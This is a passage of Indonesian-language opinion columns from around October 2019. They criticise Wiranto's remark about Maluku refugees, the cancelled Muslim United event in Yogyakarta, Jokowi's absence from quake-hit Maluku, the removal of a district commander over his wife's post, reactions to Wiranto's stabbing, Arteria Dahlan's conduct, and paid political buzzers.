bangsa yang menganut falsafah Pancasila. Disitulah esensinya kita Gotong Royong ! Pernyataan Wiranto yang dimuat secara meluas dalam medis masss itu sungguh sangat menyakitkan. Bagaimana mungkin seorang pejabat publik yang sangat kompeten untuk menangani masalah rakyat menyatakan pada saudara kita yang terkena musibah bencana itu. Penyataan itu sangat tidak patut. Mereka yang masih berada di tempat pengungsian itu dikatakan sebagai beban pemerintah. Blunder yang dibuat oleh Menkopolhukam itu, menyebut pengungsi Maluku sebagai bebani pemerintah. Sungguh tidak etis dan tidak berprikemanusiaan. Wiranto memang sudah meminta maaf atas pernyataannya tersebut. Tetapi apakah bisa begitu saja penyelesaiannya. Karena hati yang terluka, tidak mungkin segampang itu menghapusnya. Bisa saja Wiranto mentakan bahwa tidak hendak menyakiti hati siapa-siapa. Tetapi coba tanyakan kepada para korban yang masih bersedih serta saudara mereka yang juga ikut merasakan duka yang sangat mendalam itu. Apa perasaan mereka dengan pemintaan maaf Wiranto tersebut Pernyataan culas serupa itu jelas tidak cuma mengganggu perasaan masyarakat di Maluku. Tetapi sungguh lebih dari itu sangat mengiris hati. Termasuk perasaan kami sebagai saudara mereka yang tidak langsung terlanda bencana alam tersebut. Dampak psikologisnya jelas sangat menghujam dalam Pak Wiranto. Menoreh luka di atas duka yang belum mereda. Padahal esensi dari Pancasila itu seperti kata Bung Karno adalah sikap gotong royong. Sikap bersama-sama dalam susah dan senang. Sementara pemerintah yang dicerminkan oleh sosok seorang Menkopolhukam justru sebaliknya. Sungguh tragis dan menyedihkan sekali. Sebab akibatnya, rakyat semakin paham pada watak yang sesungguhnya. Watak yang tengah menjangkiti pejabat di negeri ini. Penulis adalah Pemerhati Ruang Publik

Batalnya Acara Muslim United & Warisan Feodalisme Keraton Yogja

Saya kira diera modern, dan era penuh keterbukaan ini, Sultan Yogja tidak boleh lagi mempraktikkan kejemawaan. Gaya pemimpin yang sarat dengan feodalisme. Apalagi, Sultan hari ini sedang mengalami kemelut tahta. Jika Sultan mangkat, tahta Keraton Yogja tidak mungkin diwariskan kepada puteri-puteri Sultan. Oleh Nasrudin Joha Jakarta, FNN - Acara Muslim United #2 yang sedianya diselenggarakan di Masjid Gedhe Kauman Jogja dikabarkan batal. Penyebabnya, Raja Jogja tidak memberi izin. Tidak jelas apa yang menyebabkan Sultan menolak mengeluarkan izin Kegiatan Muslim United #2 yang bertajuk 'Sedulur Saklawase'. Namun, menurut Panitia Pelaksana dari Presidium Forum Ukhuwah Islamiyah (FUI) Daerah Istimewa Yogyakarta (DIY), Syukri Fadholi, menduga penolakan itu karena pihak Keraton menerima informasi yang salah. Sebab menurutnya banyak beredar informasi yang menyebutkan bahwa kegiatan Muslim United diisi oleh orang-orang berpaham radikal. Sebelumnya pihak otoritas keraton Yogja melalui KGPH Hadiwinoto sempat mengeluarkan surat yang memperbolehkan panitia Muslim United menggunakan Alun-alun Utara sebagai tempat kegiatan. Namun surat itu akhirnya dicabut lagi. Awalnya, atas dasar surat yang sempat dikeluarkan KGPH Hadiwinoto itu akhirnya pihak panitia mempersiapkan segala hal. Panitia menyebut persiapan sudah 80 persen sebelum akhirnya dilarang oleh pihak Keraton Yogja. Klimaksnya, hari ini Sabtu (12/10) panitia kelabakan. Panitia terpaksa harus memindahkan keseluruhan agenda yang telah dipersiapkan sejak lama menuju Masjid Jogokariyan. Kondisi inipun belum menjamin kepastian agenda dapat terselenggara tanpa gangguan aspek legalitas dari rezim. Pihak Keraton enggan menyebut alasan pencabutan surat yang dikeluarkan KGPH Hadiwinoto, dan akhirnya sultan juga tidak mengeluarkan izin. Sultan juga diam, tak mengunggah secuil pun alasan mengapa tidak memberikan izin, dan sama sekali tidak mengindahkan persiapan panitia yang sudah mengeluarkan banyak energi untuk acara ini. Sedianya, sejumlah ulama dan aktor ternama akan hadir dalam acara tersebut, di antaranya Ustaz Abdul Somad, Ustaz Hanan Attaki, Ustaz Derry Sulaiman, Ustaz Felix Siauw, hingga Arie Untung. Namun energi panitia untuk menghadirkan para ulama ini tidak membuat Sultan dan pihak keraton jogja, merasa iba dan terketuk hatinya untuk memberikan izin. Sebelumnya, Pengageng Kawedanan Hageng Panitrapura, Gusti Kanjeng Ratu (GKR) Condrokirono menjelaskan tidak dikabulkannya izin karena atas pertimbangan keamanan, mengingat situasi nasional tengah banyak demonstrasi. Namun alasan ini tentu sangat absurd, karena kegiatan Muslim United tidak atau bukan dalam bentuk demonstrasi atau unjuk rasa. Alasan ini juga bertentangan dengan pernyataan Sri Sultan Hamengkubuwono X selaku Gubernur Jogja, saat terjadi aksi masif demo mahasiswa jogja ke Jakarta, beberapa waktu yang lalu. Sultan mengaku tak bisa melarang mahasiswa untuk menyuarakan aspirasinya ke Jakarta. Hanya saja Sultan HB X mengimbau agar tak anarkis. Sultan menyatakan ikut demonstrasi adalah hak warga masyarakat. Karenanya Sultan tidak bisa melarang dan mempersilakan. Asal tidak melakukan perusakan saja. Demonstrasi dengan tertib sesuai dengan izin yang diberikan. (24/9). Andaikan benar alasan penolakan pemberian izin karena faktor keamanan, atau pertimbangan keamanan. Atau mungkin juga terkait maraknya demonstrasi dan ujuk rasa, sebagaimana yang diungkap Pengageng Kawedanan Hageng Panitrapura, Gusti Kanjeng Ratu (GKR) Condrokirono. Tentu Sri Sultan selaku Raja Jogja tidak akan mempersilakan mahasiswa jogja demo ke Jakarta. Karena itu, alasan tidak keluarnya izin karena pihak Keraton menerima informasi yang salah. Beredar informasi yang menyebutkan bahwa kegiatan Muslim United diisi oleh orang-orang berpaham radikal. Padahal justru yang lebih dominan dan reasonable, menjadi sebab batalnya acara Muslim United di Yogja tersebut. Padahal, sampai hari ini tidak jelas apa yang dimaksud radikal ? Siapa yang punya wewenang menyematkan label radikal ? Atas dasar apa seseorang, apalagi ustad sekelas Ustaz Abdul Somad, Ustaz Hanan Attaki, Ustaz Derry Sulaiman, Ustaz Felix Siauw, hingga Arie Untung dilabeli radikal ? Apakah ada kasus Ustaz Abdul Somad ngebom ? Ustaz Hanan Attaki menusuk pejabat ? Ustaz Derry Sulaiman menggorok dan membakar hidup-hidup orang seperti tragedi di Wamena ? Ustaz Felix Siauw membubarkan pengajian ustadz yang lain ? Yang ada, Ust Felix yang sering jadi korban pembubaran. Apalagi Arie Untung, artis yang taubat dan hijrah ke jalan Islam ini apakah layak disebut radikal ? Alasan yang paling bisa dicerna selain tudingan radikal kepada penyelenggara dan ustadz-ustadz penceramah Muslim United. Juga alasan kejumawaan. Warisan feodalisme keraton Yogja yang terus dilestarikan. Diuri-uri. Alasan ini terkonfirmasi melalui pernyataan Penghageng Kawedanan Hageng Punakawan (KHP) Kridhamardawa, Kanjeng Pangeran Haryo (KPH) Notonegoro, yang dengan jumawa mengatakan Keraton tidak perlu menjelaskan alasan tidak dikabulkannya izin acara tersebut. Suami Gusti Kanjeng Ratu (GKR) Hayu itu berdalih Masjid Keraton tempat acara tersebut merupakan Kagungan Dalem atau milik keraton. Dalam kaidah fiqh Islam yang disebut masjid itu milik umat, milik publik, tidak sah dan batal kedudukan seseorang, individu, atau institusi yang mengaku atau mengklaim sebagai pemilik masjid. Secara fiqh, demi hukum masjid menjadi domain publik. Adapun status individu atau institusi hanya diberi amanah mengelola masjid, itu sifatnya pelayanan, administrasi, bukan mendaku hak masjid sebagai miliknya. Demikian pula, status masjid Gedhe Kauman itu milik umat, milik publik, bukan milik keraton. Keraton hanya berkedudukan sebagai pelayan, administrator, untuk melayani rakyatnya. Bahkan, istana keraton kesultanan jogja itu milik rakyat, karena raja jogja itu juga raja rakyat. Bukanlah status Sultan itu karena pengakuan dari rakyat? Bukan sekedar pemberian trah dari nenek moyang? Andaikan, sultan mewarisi tahta sementara rakyat menolak mengakui kekuasan Sultan. Apakah sultan masih berkuasa? Saya kira diera modern, dan era penuh keterbukaan ini, Sultan Yogja tidak boleh lagi mempraktikkan kejemawaan. Gaya pemimpin yang feodal. Apalagi, Sultan hari ini sedang mengalami kemelut tahta. Jika Sultan mangkat, tahta Keraton Yogja tidak mungkin diwariskan kepada puteri-puteri Sultan. Jika Sultan mau merubah Pangeran. Mengubah trah singgasana diteruskan putri raja, Sultan tak cukup mengeluarkan Sabda Pandita Ratu. Sultan butuh dukungan dan legitimasi umat. Jika Sultan zalim kepada umat. Sultan memimpin dengan gaya jemawa dan ego mempertahankan tradisi feodalisme keraton, Sultan akan dijauhi umat. Sultan akan ditinggalkan oleh rakyat. Wahai Sultan. Jika memang dirimu mengemban amanah agama (selain amanah pemerintahan), kenapa dirimu tega mempersulit syiar agama Islam melalui acara Muslim United ? Bertaubatlah Sultan, mumpung ajal belum menjemput. Penulis adalah Wartawan Senior

Pak Jokowi, Maluku Masih NKRI Kan?

Inilah fakta diskriminatif yang tak terbantahkan. Maluku terus dianaktirikan, dan entah kapan akan berakhir. Padahal bila ada bencana, kehadiran Pak Presiden tidak saja memastikan proses penanganan bencana oleh negara telah berjalan baik. Tetapi yang lebih penting adalah memberikan spirit, kekuatan moral dan psikologis kepada masyarakat Maluku. Bahwa dalam menghadapi bencana ini mereka tidak sendiri. Negara harus benar-benar hadir sebagai perwujudan perintah konstitusi. Oleh Ikhsan Tualeka Jakarta, FNN - Bapak Presiden yang terhormat. Kalau mau diresapi dengan dalam, sebagai putra timur dari Maluku, saya merasa bahwa ada sesuatu yang mengganjal. Terutama dalam konteks hubungan relasi antara pemerintah pusat (Jakarta) dengan masyarakat Maluku. Ada banyak fakta yang dapat mengkonfirmasi anggapan itu. Sebagai contoh nyata. Baru-baru ini, pembantu utama bapak, Menkopolhukam, Wiranto, melakukan konferensi pers tentang Maluku. Wiranto didampingi oleh Menteri Dalam Negeri, Panglima TNI, Kapolri dan sejumlah pejabat negara lainnya. Dengan menggunakan fasilitas negara, Wiranto mengatakan “pengungsi yang banyak di Maluku dapat menjadi beban pemerintah”. Bagi kami orang Maluku, luar biasa pernyataan Menkopolhukam Wiranto ini. Betapa tidak, karena Wiranto menyampaikan ini dalam kegiatan resmi Negara. Pernyataan yang sangat kontraproduktif itu, tentu adalah sikap resmi institusi negara. Bukan pribadi penyataan pribadi. Kenyataan ini menambah daftar panjang praktik, dan sikap diskriminatif pemerintah pusat kepada masyarakat Maluku. Tentu akan terlalu panjang untuk diulas dalam surat ini. Minimnya alokasi anggaran untuk Maluku. Tidak adanya regulasi spesifik sebagai landasan membangun dan mengangkat Maluku yang notabene memiliki karakteristik berbeda dengan daerah-daerah lain untuk dari lembah kemiskinan. Contoh ini adalah sedikit dari daftar panjang itu. Perlakuan yang tidak adil itu bisa dilihat dari bagaimana respon Pak Presiden sebagai kepala negara dan kepala pemerintahan terhadap becana gempa yang terjadi di Maluku. Sampai sekarang Pak Jokowi belum juga datang menyambangi Maluku. Meski hingga catatan ini dibuat, gempa masih terus terjadi, dengan korban mencapai lebih dari 50 orang meninggal. Sedangkan yang mengungsi mencapai 100.000 ribu orang dan 6.523 unit rumah yang rusak Bandingkan dengan bencana disejumlah daerah lain. Dengan korban yang relatif lebih sedikit seperti gempa di Banten, banjir bandang di Garut, meleutusnya gunung Sinabung di Sumatera Utara, kebakaran hutan di Palangkaraya. Pada bencana alam di daerah lain,Pak Presiden langsung datang. Malah sehari setelah kejadian atau bencana terjadi, Pak Jokowi datang lengkap dengan jajaran pembantu bapak. Bahkan ada juga Pak Jokowi berkantor di lokasi bencana. Dengan kehadirin Pak Presiden yang cepat di lokasi bencana bisa ditafsirkan bermacam-macam. Orang bisa saja beranggapan itu karena jarak antara Istana Negara dengan lokasi-lokasi bencana relatif dekat. Memudahkan untuk malukan mobilisasi ke lokasi bencana. Itu tentu alasan klasik, karena bukankah Maluku juga masih masuk wilayah Indonesia? Dengan demikian Maluku berhak mendapat perhatian yang sama dari kepala negaranya. Dengan fasilitas yang dimiliki negara, tentu jarak bukan satu masalah. Apalagi ada pesawat kepresidenan. Ataukah Pak Presiden takut karena informasi dari para pembisik kalau gempa tremor masih terjadi walau dalam dalam skala yang lebih kecil? Kalau bapak takut akan gempa kecil itu, kami maklumi. Walau kamiu agak kecewa karena sebelumnya kami yakin Pak Jokowi seorang kesatria. Inilah fakta diskriminatif yang tak terbantahkan. Maluku terus dianaktirikan, dan entah kapan akan berakhir. Padahal bila ada bencana, kehadiran Pak Presiden tidak saja memastikan proses penanganan bencana oleh negara telah berjalan baik. Tetapi yang lebih penting adalah memberikan spirit, kekuatan moral dan psikologis kepada masyarakat Maluku. Bahwa dalam menghadapi bencana ini mereka tidak sendiri. Negara harus benar-benar hadir sebagai perwujudan perintah konstitusi. Pak Presiden, datanglah. Kunjungilah anak-anak bangsamu yang tertimpa bencana di Maluku. Apalagi secara politik Maluku adalah provinsi yang berkontribusi dalam kemenangan bapak di dua kali perhelatan Pilpres. Kehadiran Pak Presiden tentu saja akan mengkonfirmasi analisa lembaga-lembaga otoritas terkait yang menyatakan tak akan ada gempa lebih besar lagi dari 6,5 Magnitude yang terjadi sebelumnya. Kondisinya relatif aman, sehingga Presiden perlu datang. Dengan Pak Presiden mengunjungi korban gempa di Maluku, akan turut membahwa pesan kebangsaan bahwa negeri para raja ini adalah bagian integral bangsa. Maluku yang berhak mendapat perhatian yang sama dengan daerah lain dari negara. Bukan dibiarkan menghadapi bencana sendiri tanpa kehadiran Negara yang diwakili Pak Preasiden Pak Jokowi, hanya satu kalimat untuk merangkum semua isi surat ini, “Sambangilah korban bencana di Maluku. Mereka juga adalah warga bangsa. Mereka jangan dikecewakan”. Kami orang Maluku tidak sedang mengemis kepada pemerintah pusat. Kami hanya sedang menagih tanggungjawab negara untuk mendapat perlakuan yang sama dengan daerah lain. Penulis adalah Direktur Maluku Crisis Center (MCC)

Istri Dandim atau Pidato Panglima TNI yang Jatuhkan Martabat Prajurit?

Tidak ada elemen mahasiswa yang menolak pelantikan Jokowi, atau ingin menggagalkan pelantikan Jokowi. Lantas, kenapa penglima TNI membawa TNI ke ranah politik praktis ? Bukankah TNI itu wajib netral ? Bukankah TNI itu alat negara, bukan alat kekuasaan ? Oleh Nasrudin Joha Jakarta, FNN - Kapendam XIV Hasanuddin, Kolonel Inf Maskun Nafik menyebut Dandim 1417 Kendari, Kolonel Hendi Suhendi dicopot karena postingan istri soal Menko Polhukam Wiranto. Postingan istri Dandim Kendari itu dinilai menjatuhkan martabat prajurit Jika ditilik dari sisi redaksi, postingan istri Dandim ini sama sekali tidak menyebut mengatasnamakan institusi TNI, tidak pula menyebut nama sosok tertentu secara tegas. Boleh dibilang, status Facebook istri Dandim ini hanyalah bentuk ungkapan batin yang terjaga dalam koridor hukum. Postingan istri Dandim Kendari itu hanya mengatakan 'Jangan cemen pak,...Kejadianmu tak sebanding dengan berjuta nyawa yg melayang'. Ungkapan ini, tergolong ungkapan hiperbola (makna yang di lebih-lebihkan) tanpa mempersonifikasi kepada individu tertentu. Redaksi 'jangan cemen pak' itu bisa ditujukan kepada semua orang dengan panggilan Pak, bisa Pak lurah, Pak camat, Pak RT, Pak Tani, Pak Bayan, dan Pak Pak lainnya. Redaksi 'Pak' ini tidak bisa diarahkan dan ditujukan secara khusus kepada Wiranto. Jika ada yang merasa itu ditujukan kepada Wiranto, itu merupakan tafsiran bukan konteks bahasa tegas yang dituju oleh redaksi. Adapun postingan kedua, juga sifatnya netral. Sebuah nasehat untuk mengingatkan peristiwa yang pernah terjadi di negeri ini. Posting-an kedua, tertulis 'Teringat kasus pak setnov,.. bersambung rupanya, pake pemeran pengganti'. Dalam postingan kedua, juga tidak ada kata yang menyebut nama Wiranto. Coba kita bandingkan, jika tafsiran postingan itu dianggap menjatuhkan martabat prajurit dengan pidato khusus panglima TNI. Panglima TNI Marsekal TNI Hadi Tjahjanto, lengkap bersama jajaran komando TNI membuat rekaman video yang meminta siapa pun dapat menyampaikan aspirasi di negara demokrasi ini. Dalam video itu juga muncul ultimatum, siapa pun yang melakukan tindakan anarkis, inkonstitusional, cara-cara yang kurang baik, termasuk ingin menggagalkan pelantikan presiden dan wapres terpilih hasil pemilu, akan berhadapan dengan TNI. Pertanyaannya, sejak kapan tupoksi TNI itu menjaga pelantikan Presiden ? Dan siapa yang dimaksud panglima TNI ingin menggagalkan pelantikan ? Jika merujuk peserta aksi demo karena konteks pidato penglima itu terjadi setelah demo masif mahasiswa, demo itu menuntut pencabutan UU KPK, menolak RUU KUHP. Tidak ada elemen mahasiswa yang menolak pelantikan Jokowi, atau ingin menggagalkan pelantikan Jokowi. Lantas, kenapa penglima TNI membawa TNI ke ranah politik praktis ? Bukankah TNI itu wajib netral ? Bukankah TNI itu alat negara, bukan alat kekuasaan ? Sikap panglima TNI ini lah sebenarnya yang bisa ditafsirkan menjatuhkan martabat prajurit, menjatuhkan wibawa TNI. Tentara yang seharusnya menjadi Abdi Rakyat terkesan berubah menjadi Andi penguasa (baca: Jokowi). Saya kira, persoalan status Facebook istri Dandim ini juga tidak perlu ditindaklanjuti dengan pencopotan jabatan Dandim, apalagi akan memproses pidana di peradilan umum. Kalau mau merujuk UU ITE (UU No. 19/2016 Jo. UU No. 11/2008), melanggar pasal apa ? Pasal 28 ayat (2) tentang menyebar kebencian dan permusuhan berdasarkan SARA ? Dimana unsur-unsurnya ? Ngawur saja memaksakan menyidik perkara ini dengan pendekatan UU ITE. Saya kira pejabat era now harus hati-hati mengeluarkan statement dan tindakan. Justru heboh pencopotan Dandim dan rencana akan memproses istri prajurit ke ranah pidana umum inilah yang merupakan tindakan yang menjatuhkan martabat prajurit. Masak prajurit dibuka aibnya keruang publik hanya karena status Facebook ? Dandim Kendari bukan pengkhianat, tidak memberontak, tidak disersif dalam tugas, tidak korup, tidak melawan perintah atasan, tidak gagal melindungi rakyat dari ancaman musuh, tidak terlibat politik praktis. Kok begitu amat sanksinya ? Saya kira, institusi TNI tidak boleh lebai menyikapi peristiwa ini. TNI wajib membedakan mana isu politik dan mana isu Sapta Marga Prajurit. TNI harus netral, TNI alat negara bukan alat kekuasaan. Penulis adalah Wartawan Senior

Pak Wiranto Ditusuk, Kok Malah Banyak yang Bersyukur?

Oleh Hersubeno Arief Jakarta, FNN - Confirm. Masyarakat kita sedang sakit parah. Terbelah sangat dalam. Yang satu mendoakan, menginginkan, bahkan melakukan sesuatu yang buruk untuk yang lain. Bila keburukan itu benar-benar terjadi, banyak yang bersuka cita. Membesar-besarkannya. Menganggap doanya terkabul. Allah SWT telah membalas keburukan itu dengan balasan yang setimpal. Peristiwa penusukan Menkopolhukam Jenderal TNI (Purn) Wiranto di Menes, Pandeglang, Banten mengkonfrmasi hal itu. Di medsos banyak yang mengucapkan rasa syukurnya. Joke, meme, spekulasi, dan teori konspirasi bermunculan. Ada juga yang menduga ini hanya semacam sandiwara. Settingan. Semacam reality show. Ada memang yang sedih, bahkan kecewa. Mengapa luka tusuknya tidak cukup dalam. Mengapa Wiranto tidak terluka parah, atau mati sekalian! Ngeri banget! Suara-suara semacam itu sudah dipastikan muncul dari kelompok yang selama ini berseberangan dengan pemerintah. Atau setidaknya berseberangan secara personal dengan Wiranto. Sebagai balasan, situs seword.com yang dikenal sebagai pendukung Jokowi membuka kotak pengaduan. Mereka meminta pembacanya melaporkan bila menemukan netizen yang bersuara negatif, nyinyir atas Wiranto. Status yang nyinyir, lengkap dengan biodata dan fotonya —kalau ada— akan dipajang dan dilaporkan ke polisi. Mengapa bangsa ini menjadi kehilangan empati, pendengki dan menginginkan keburukan, bahkan kalau perlu mencelakakan dan saling membinasakan? Apakah hanya rakyatnya yang sakit? Atau mereka sebenarnya merupakan cermin dari perilaku para pemimpinnya. Di militer ada semacam kredo: Tidak ada prajurit yang salah. Yang salah komandannya. Filsuf dan negarawan zaman Romawi Marcus Tulius Cicero dalam sebuah orasinya pernah menyatakan: Ikan busuk dimulai dari kepalanya. Belajar dari pengalaman para pedagang ikan. Kalau mau selamat, tidak busuk semua. Kepalanya harus segera dipotong. Kebusukan suatu negeri, berawal dari kebusukan para pemimpinnya. Jadi harus dipotong dari pucuk pimpinannya. Sebaliknya Sayidina Ali Bin Abi Thalib pernah berkata: pemimpin yang buruk, merupakan cermin dari rakyatnya. Ketika seorang pemuda menggugat Ali mengapa pada masa pemerintahannya situasinya tidak sebaik pada masa Khalifah Abu Bakar, dan Umar Bin Khattab? Khalifah Ali menjawab singkat : Karena pada masa Khalifah Abubakar dan Umar, rakyatnya seperti saya. Dan pada masa pemerintahan saya, rakyatnya seperti kamu! Sebuah pemerintahan yang brengsek, adalah cermin sebuah masyarakat yang brengsek pula. Mengapa memilih pemimpin yang brengsek?! Dalam khasanah pemikiran Islam dikenal sebuah kalimat bijak: Kalian akan dipimpin oleh orang seperti kalian! Nah lho……. Kita semua harus introspeksi. Mengapa semua ini terjadi. Tidak bisa langsung menuding bahwa rakyat kita brengsek. Begitu juga sebaliknya. Di media sosial ucapan-ucapan Wiranto yang dimuat media kembali bertebaran. Ketika ada prajurit TNI yang tewas di Nduga, Papua, dia minta agak tidak perlu dibesar-besarkan. “Risikonya memang seperti itu,” ujarnya. Wiranto benar. Risiko seorang prajurit yang bertugas di daerah rawan, apalagi medan tempur: _kill or to be killed._ Membunuh atau dibunuh. Tapi ya tidak perlu disampaikan ke publik. Sensitif lah terhadap Keluarga prajurit. Ketika terjadi gempa di Ambon, Wiranto dikutip pernah menyatakan, agar para pengungsi segera kembali ke rumah, supaya tidak jadi beban pemerintah. Ucapan yang membuat warga Ambon gondok alang kepalang. Selain tidak sensitif, ucapan itu juga menunjukkan sebagai pejabat publik tidak punya empati. Lebih jauh lagi tidak paham tugas dan tanggung jawabnya. Tugas negara, tugas pemerintah mengurus rakyatnya. Jangan dianggap beban. Kalau tidak mau dibebani rakyat, ya jangan jadi pejabat pemerintah. Nah ketika sekarang Wiranto ditusuk orang, netizen membalas. “Tidak perlu dibesar-besarkan.” “Risikonya sebagai pejabat keamanan memang seperti itu.” “Segera keluar dari RSPAD. Jangan jadi beban pemerintah!” Bagaimana memahami sikap bangsa kita saat ini? Konsep the other yang diperkenalkan oleh filsuf kontemporer Perancis Emmanuel Levinas, atau liyan dalam bahasa Jawa, tidak cukup memadai untuk menggambarkannya. Dalam bahasa Jawa, liyan, orang lain, merupakan konsep berpikir, yang satu merasa lebih unggul dan lebih benar dibanding yang lain. Tanpa sadar orang Jawa sering menyebut sesuatu yang tidak benar, sebagai tidak “njawani.” Tidak Jawa. Realita yang terjadi saat ini bukan hanya soal yang satu merasa superior dengan yang lain. Bangsa kita adalah bangsa yang terbelah. Tidak percaya satu dengan lainnya. Curiga satu dengan yang lain. Merasa paling benar dan yang lain selalu salah. Apapun yang dilakukan pihak lain, tidak ada yang benar. Beda dengan sikap kritis yang harus tetap menjunjung obyektivitas. Perlu keberanian untuk mengakui dan mengambil langkah konkrit. Presiden, pejabat pemerintah, berhentilah melakukan Framing, lebeling, pelakunya terpapar kelompok radikal, ISIS dan entah stigma apalagi. Berhentilah mengklaim merasa paling Pancasila, dan paling NKRI. Pasti akan ada reaksi balik. Akan ada perlawanan. Semua itu hanya akan memperparah pembelahan masyarakat. Peristiwa penusukan Wiranto harusnya menjadi sebuah alarm yang bersuara sangat nyaring. Ada yang salah dengan bangsa ini. Kita sedang menuju jurang kehancuran. Kita, rakyat, para pemimpin, terutama Presiden Jokowi harus segera mengambil langkah konkrit! end

Tentang Arteria Dahlan (PDIP): Bisa Jadi Dia...

By Asyari Usman (Wartawan Senior) Jakarta, FNN - Kemarin tertunda berkomentar tentang Pak Arteria Dahlan. Gara-gara ada berita besar. Tentang Pak Wiranto. Arteria menghardik Pak Prof Emil Salim di acara Mata Najwa (9/10/2019). Dia tunjuk-tunjuk Pak Emil tanpa ragu sedikit pun. Tak ragu bahwa cara dia itu tidak menunjukkan akhlak seorang wakil rakyat. Nah, pagi ini mumpung ada waktu berkomentar tentang kegarangan Arteria. Mengapa Arteria menjadi tak sopan kepada Pak Emil? Mengapa politisi PDIP ini berperangai sombong? Ada hal-hal yang mungkin belum kita pahami tentang Arteria Dahlan. Pertama, bisa jadi dia menunjuk-nunjuk Pak Emil Salim sambil mengatakan pakar ekonomi itu sesat, karena dia sedang menjalankan misi rahasia untuk menghancurkan PDIP. Siapa tahu. Lho, kok disebut menghancurkan? Karena, kesombongan yang dipertontonkan oleh Arteria itu mendapat reaksi geleng-geleng kepala dari publik. Patut diduga dia sedang bersekongkol untuk membusukkan PDIP. Sikap Arteria yang angkuh itu bisa merugikan citra elektoral PDIP. Tapi, faktor ini mungkin tidak punya dasar yang kuat. Masa iya Banteng sejati mau menghancurkan partainya? Tak mungkinlah. Kedua. Kalau yang pertama tak mungkin, berarti Arteria memperlihatkan karakter aslinya: sombong, angkuh, arogan, dan sejenisnya. Jika ini benar, tentu bagus juga kita katakan kepada beliau bahwa piala kosombongan yang paling terkenal dalam sejarah manusia masih dipegang oleh fir’aun. Baik. Kalau misalnya Arteria tidak bermaksud mau menghancurkan PDIP dan tidak juga bermaksud menunjukkan kesombongan, terus apalagi? Ada yang ketiga. Boleh jadi dia sedang mencari perhatian pimpinan partainya. Barangkali saja Arteria mendapat info bahwa pimpinan PDIP diam-diam sedang melaksanakan tes kemampuan arogansi. Mungkin Arteria merasa sekarang ini adalah waktu yang tepat untuk memamerkan kemampuan berdebat sangar dan angkuh di depan publik. Yang keempat, boleh jadi Arteria sedang stress karena utang atau karena hal yang lain. Jadi, kita tak tahu pasti apa penyebab Arteria tersulut dan begitu geram melihat Prof Emil Salim. Yang jelas, Pak Emil yang telah berusia 89 tahun masih tampak segar. Tak kelihatan stress. Tak tampak ada noda korupsi di wajah beliau. Mungkin inilah yang membuat Pak Emil lebih santai dalam berdiskusi. Sedangkan Arteria tampak garang. Cemberut. Siap menerkam. Dan sangat marah kepada Pak Emil yang ikut berjuang melawan sikap PDIP yang ingin melemahkan KPK. [] 11 Oktober 2019

Habis Manis Buzzer Dibuang

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Habis manis sepah dibuang. Begitulah jika orang makan tebu. Hanya manisnya saja yang diisap, sedangkan sepahnya dibuang. Makna ungkapan ini bisa macam-macam. Misalnya, dibuang setelah tidak dipakai lagi. Bisa juga diterjemahkan, disimpan pada saat diperlukan saja, dan dibuang jika tidak diperlukan lagi. Bisa juga dimaknai, selagi masih digunakan dirawat dengan baik, tetapi bila tidak dipergunakan lagi dicampakkan begitu saja. Begitulah nasib buzzer. Teranyar tentu saja buzzer Jokowi. Kepala Staf Kepresidenan Moeldoko menyebut aktivitas para buzzer pendukung Presiden Joko Widodo saat ini merugikan presiden terpilih periode 2019-2024 itu. Dibilang habis manis sepah dibuang, karena buzzer itulah pasukan militan Jokowi di media sosial kala pemilihan presiden kemarin. Mereka rajin memproduksi hoaks dan menyerang lawan-lawan politik Jokowi. Kini Jokowi sudah menang. Ia merangkul kekuatan lawan. Sampai kini, para buzzer masih asyik menjalankan tugasnya. Mereka menggonggong pada saat Jokowi memutuskan menyetujui revisi UU KPK. Berbagai hoaks ditebar. Sampai pada akhirnya, Istana memandang permainan para buzzer sudah kelewatan. Mereka akan dibubarkan. Maknanya, alokasi anggaran untuk buzzer dihentikan. Suplai dana dari Istana ke buzzer ditutup. Dunia medsos tentu akan lebih tentram tanpa buzzer bayaran seperti itu. Maklum saja, gara-gara buzzer yang rajin menyebar hoaks, sulit membedakan mana yang benar mana yang salah. Mereka mahir memutar balikkan fakta. Mereka juga berisik. Para buzzer sangat lihai mengelola fitnah dan kebohongan sebagai isu publik. Para tuyul modern ini sangat bersemangat mengotori ruang publik dengan fitnah dan pembodohan. Siapa Buzzer Istana Itu? Menarik, kesimpulan yang diambil tokoh pers Ilham Bintang dalam tulisannya berjudul “Ada Buzzer Istana Di ILC TVOne”, yang ditayangkan CeknRicek Rabu (9/10). Ilham menyorot aksi Ali Mochtar Ngabalin dalam acara ILC Selasa malam (8/10) itu. Tenaga Ahli Utama Kedeputian IV bidang Komunikasi Politik dan Diseminasi Informasi Kantor Staf Presiden ini dinilai begitu agresif mengagitasi publik. Seringkali menyerobot kesempatan berbicara pembicara lain. Dia mendemonstrasikan politik “belah bambu”. Yang satu (pihak Presiden Jokowi) diangkat setinggi langit, sedangkan Budi Setyarso yang mewakili Tempo, “diinjak” habis sampai rata dengan tanah. “Dari adegan itu kita bisa simpulkan itulah Buzzer Istana sesungguhnya. Kenapa kita repot-repot mencarinya selama empat jam diskusi ILC?” tulisnya. Menurut Ilham, sebagai pejabat negara rasanya sangat tidak etis Ngabalin mempertontonkan gaya otoriter di saat mencoba meyakinkan publik mengenai gaya egaliter Presiden Jokowi. “Paradoksal,” tegasnya. Paradoks Ngabalin ini bukan hanya tidak etis, tetapi cukup memenuhi unsur pidana yang diatur dalam UU ITE. Mengintimidasi dan memperkusi lawan debat, ditambah pula dengan sumpah terkutuk. Buzzer bertajuk Ngabalin versi Ilham Bintang, tentu berbeda dengan buzzer di dunia medsos. Buzzer berasal dari bahasa Inggris yang mempunyai arti lonceng, bel atau alarm. Bisa juga dibilang kentongan. Alat tradisional tempo dulu yang sering digunakan untuk mengumpulkan warga pada saat ada pengumuman atau berita penting. Buzzer, influencer atau rain maker maknanya tak jauh beda. Influncer adalah orang yang mampu mempengaruhi pengikut, sehingga memberikan efek buzz di media sosial. Hanya saja, menurut Dahnil Anzar Simanjuntak dalam ILC, buzzer menyebar informasi dan gagasan bukan orisinil dari pikirannya. Sementara influencer menyampaikan gagasan dari hasil murni pikirannya. Buzzer menyebar informasi hoaks dari mereka yang membayar. Soal bayar membayar ini dalam dunia buzzer, menurut juru bicara Ketua Umum Gerindra, Prabowo Subianto ini, seperti pasar gelap. Namanya saja pasar gelap, hanya sedikit yang tahu. Namun semua itu bisa dinilai dari pola kerja mereka. Arahnya ke mana. Siapa yang menggerakkan. Singkat cerita, buzzer dalam makna negatif, adalah sekelompok orang yang dibayar untuk kepentingan politik 